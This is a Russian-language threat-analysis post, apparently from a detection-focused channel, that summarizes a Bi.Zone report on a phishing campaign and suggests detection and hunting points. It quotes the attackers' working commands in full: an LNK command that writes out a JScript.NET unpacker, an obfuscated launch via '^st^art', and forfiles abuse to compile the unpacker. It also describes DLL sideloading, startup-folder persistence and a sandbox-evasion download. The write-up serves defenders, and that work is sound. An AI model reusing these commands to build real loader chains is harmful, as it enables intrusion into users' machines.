В отчете Bi.Zone рассмотрена работа двух вредоносных кампаний.
Давайте рассмотрим одну из них
🔤 Атака начинается с фишинга, пользователям присылают ссылку при переходе по которой загружается zip-архив с lnk и ini-файлом. INI по факту является архивом, в котором exe, dll и decoy-pdf. EXE - это легитимный бинарь с подписью, но уязвимый к загрузке dll
🔤 Выполняется команда LNK, которая ищет архив в каталоге пользователя
%USERPROFILE%, создает JScript.NET файл. Он распаковывает zip-архив, замаскированный под расширение INIset /p="import System;import System.IO;import System.IO.Compression;import System.Text;import System.Diagnostics;function Main(){var args:String[]=System.Environment.GetCommandLineArgs();Directory.CreateDirectory(args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[1], args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[2] + "\\" + (Convert.ToChar(117)+Convert.ToChar(109)+Convert.ToChar(46)+Convert.ToChar(105)+Convert.ToChar(110)+Convert.ToChar(105)), args[2]);Process.Start("cmd.exe", "/C move " + System.Reflection.Assembly.GetExecutingAssembly().Location + " " + System.Reflection.Assembly.GetExecutingAssembly().Location + "_");}Main();">%TEMP%\UKSS1G4Q7H6S.a🔤 Далее проверяется наличие легитимного файла из вложенного архива, он запускается и загружает в память вредоносную библиотеку (С# Loader), для запуска файла используется команда
start с применением обфускации^st^art "" /MIN "%USERPROFILE%\J8ZUARAW71W7\H5GDXM70NJ.exe" & exit
🔤 Если файла из шага 2 нет, то проверяется наличие
unzip.exe (скомпилированный JScript.NET), который распаковывает фальшивый INI-файлif exist %TEMP%\unzip.exe (%TEMP%\unzip.exe "%f" "%USERPROFILE%\J8ZUARAW71W7")
🔤 Для запуска компиляции JScript.NET используется jsc.exe, который в свою очередь запускается с помощью LOLBAS - forfiles. Исполняемый файл сохраняется с именем
%TEMP%\unzip.exe(C:\Windows\system32\forfiles.exe /P %SystemRoot% /M notepad.exe /C "cmd /c %_jsc% /nologo /r:System.IO.Compression.FileSystem.dll /out:%TEMP%\unzip.exe %TEMP%\UKSS1G4Q7H6S.a")
Работа загрузчика подробно расписана в репорте, но стоит выделить основные моменты:
🔤 При обращении к серверу используется следующая строка заголовка
User-Agent: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36🔤 Создается рабочий каталог
%APPDATA%\74EJ6RTFKKRS 🔤 Для закрепления создается
startapp.bat в каталоге автозагрузки, который запускает %APPDATA%\74EJ6RTFKKRS\H5GDXM70NJ.exe 🔤 Для защиты от песочниц следующего этапа, атакующие проверяют систему, и если он не соответствует критериям, то загружается
hxxps://huggingface[.]co/TheBloke/Llama-2-70B-GGUF/resolve/main/llama-2-70b.Q5_K_M.gguf 🔭 Обнаружение
🔤 по классике, отслеживаем создание LNK-файлов
🔤 основным тригером для нас должны стать команды из LNK. набор триггеров и LOLBAS и .Net, касательно этой кампании можем поискать использование
forfiles.exe и start.exe🔤 создание скриптов в директории автозагрузки
Похантить можно:
🔤 user-agent
User-Agent: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36🔤 наличие скриптов в директории автозагрузке пользователя
🔤 обращение на
hxxps://huggingface[.]co/TheBloke/Llama-2-70B-GGUF/resolve/main/llama-2-70b.Q5_K_M.gguf #detection@detectioneasy
#ttp@detectioneasy